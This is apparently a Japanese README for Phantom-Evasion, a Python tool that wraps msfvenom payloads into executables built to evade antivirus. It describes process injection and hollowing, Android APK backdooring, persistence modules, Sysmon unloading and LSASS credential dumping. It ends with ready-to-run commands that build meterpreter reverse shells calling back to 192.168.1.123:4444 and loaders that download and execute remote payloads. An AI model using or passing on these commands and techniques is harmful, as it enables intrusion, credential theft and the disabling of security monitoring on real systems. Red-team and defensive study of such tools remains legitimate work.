
Pythonベースのアンチウイルス回避ツールで、msfvenomペイロードから検出不能な実行ファイルを生成します。ジャンクコード注入、暗号化、証明書スプーフィング、複数の実行方法などの高度な技術を使用します。
Phantom-Evasion は、Python(Python および Python3 の両方に対応)で書かれたアンチウイルス回避ツールであり、最も一般的な x86 msfvenom ペイロードでも(ほぼ)完全に検出されない実行ファイルを生成できます。
以下の OS が自動セットアップを正式にサポートしています。
以下の OS は自動セットアップに対応する可能性が高いですが、metasploit-framework の手動インストールが必要です。
以下の OS は手動セットアップが必要です。
Phantom-Evasion フォルダを git clone またはダウンロードして解凍するだけです。
自動セットアップ:ターミナルを開いて以下を実行します。
python3 phantom-evasion.py --setup
または:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
または、Phantom-Evasion をインタラクティブモードで起動し、オプション 7 を選択します。
python3 phantom-evasion.py
または:
./phantom-evasion.py
python3 phantom-evasion.py --help
または:
./phantom-evasion.py --help
すべての Windows ペイロード C モジュールは、EXE または DLL/ReflectiveDLL としてコンパイル可能(x86 および x64 の両方をサポート)。
ランダム化されたジャンクコードインジェクション(強度、頻度、再注入確率を設定可能)および Windows アンチウイルス回避技術(頻度を設定可能)。
マルチバイト Xor/Vigenere シェルコード/ファイル暗号化は、Shellcode Injection モジュールと Download Exec モジュールの両方でサポート。
Ntdll unhookapi および Peb プロセスマスカレード技術をサポート。
幅広い実行モード(ローカルおよびリモートの両方)をサポート。
幅広いペイロードメモリ割り当てモード(Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX)をサポート。
Windows API の動的ロードを設定可能。
証明書スプーファーおよび署名ツールをサポート。
実行ファイルのストリップ(https://en.wikipedia.org/wiki/Strip_(Unix))
Msfvenom の Windows ペイロードおよびカスタムシェルコードをサポート。 シェルコードはリソースとして保存し、実行時に FindResource API で取得可能。
シェルコード暗号化対応:
1. none
2. マルチバイト Xor
3. ダブルキー マルチバイト Xor
4. Vigenere
5. ダブルキー Vigenere
ローカル実行方法は以下のいずれか:
Thread
APC
ローカルメモリ割り当てモードは以下のいずれか:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
リモート実行方法は以下のいずれか:
ThreadExecutionHijack(略称 TEH)
Processinject(略称 PI)
APCSpray(略称 APCS)
EarlyBird(略称 EB)
EntryPointHijack(略称 EPH)
リモートメモリ割り当てモードは以下のいずれか:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
msfconsole および Cobalt Strike ビーコンと互換性のある Pure C meterpreter stager(TCP/HTTP/HTTPS)モジュール(reverse_tcp / reverse_http / reverse_https)
コマンドラインモードで使用:
reverse_tcp c stager は WRT
reverse_http c stager は WRH
reverse_https c stager は WRS
ローカル実行方法は以下のいずれか:
Thread
APC
ローカルメモリ割り当てモードは以下のいずれか:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
指定された URL から exe/dll をメモリにダウンロードし、リモートプロセスで実行/ロード(ディスクに書き込まず)。
EXE/DLL 暗号化ダウンロード対応:
1. none
2. マルチバイト Xor
3. ダブルキー マルチバイト Xor
4. Vigenere
5. ダブルキー Vigenere
暗号化された DLL/EXE は、元のファイル名 + "crypt" + ".dll" または ".exe" として保存されます。これがダウンロード対象となります。
Windows DownloadExecExe NoDiskWrite(コマンドラインモードでは WDE):
リモート実行方法は以下のいずれか:
ProcessHollowing(略称 PH)
Windows DownloadExecDll NoDiskWrite(コマンドラインモードでは WDD):
リモートロード方法は以下のいずれか:
ReflectiveDll(略称 RD)
RDAPC(ReflectiveDllAPC)
ManualMap(略称 MM)—> x86 のみ
Msfvenom の Linux ペイロードおよびカスタムシェルコードをサポート。
Android Msfvenom Obfuscate Backdoor:
msfvenom ペイロードを難読化し、apktool で再ビルド(smali/baksmali)。 難読化されたペイロードは、良性の apk ファイルをバックドア化するために使用可能。
Windows Persistence RegCreateKeyExW レジストリキーの追加(C) コンパイル済み実行ファイルをターゲットマシンにアップロードし、起動時に追加するファイルのフルパスを引数として実行する必要があります。
Windows Persistence REG レジストリキーの追加(CMD) このモジュールは、永続化のコマンドラインペイロード(REG.exe によるレジストリキー追加)を生成します。
Windows Persistence Keep Process Alive(C) コンパイル済み実行ファイルをターゲットマシンにアップロードし、実行する必要があります。 CreateToolSnapshoot ProcessFirst および ProcessNext を使用して、指定したプロセスが X 秒ごとに生存しているか確認します(生存していない場合は WinExec API を使用して新しいプロセスを作成)。
Windows Persistence Schtasks(CMD) このモジュールは、永続化のコマンドラインペイロード(Schtasks.exe を使用)を生成します。
Windows Persistence Create Service(CMD) このモジュールは、永続化のコマンドラインペイロード(sc.exe を使用)を生成します。
Windows DuplicateTokenEx(C)
別のプロセスからクローンしたトークンで新しいプロセスを作成します。 コンパイル済み実行ファイルをターゲットマシンにアップロードし、実行する必要があります。
Windows Unload Sysmon(C) sysmon ドライバをアンロードし、システムが sysmon イベントログの記録を停止します。 コンパイル済み実行ファイルをターゲットマシンにアップロードし、実行する必要があります。
Windows Unload Sysmon(CMD) sysmon ドライバをアンロードし、システムが sysmon イベントログの記録を停止します。
Windows Attrib hide file(CMD) attrib を使用してファイルを非表示にします。
Windows SetFileAttribute hidden(C) SetFileAttribute API を使用してファイルを非表示にします。 コンパイル済み実行ファイルをターゲットマシンにアップロードし、実行する必要があります。
Windows DumpLsass(C) MiniWriteDumpWrite API を使用して Lsass をダンプします。 コンパイル済み実行ファイルをターゲットマシンにアップロードし、実行する必要があります。
Windows DumpLsass(CMD) コマンドラインから Lsass をダンプします。
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf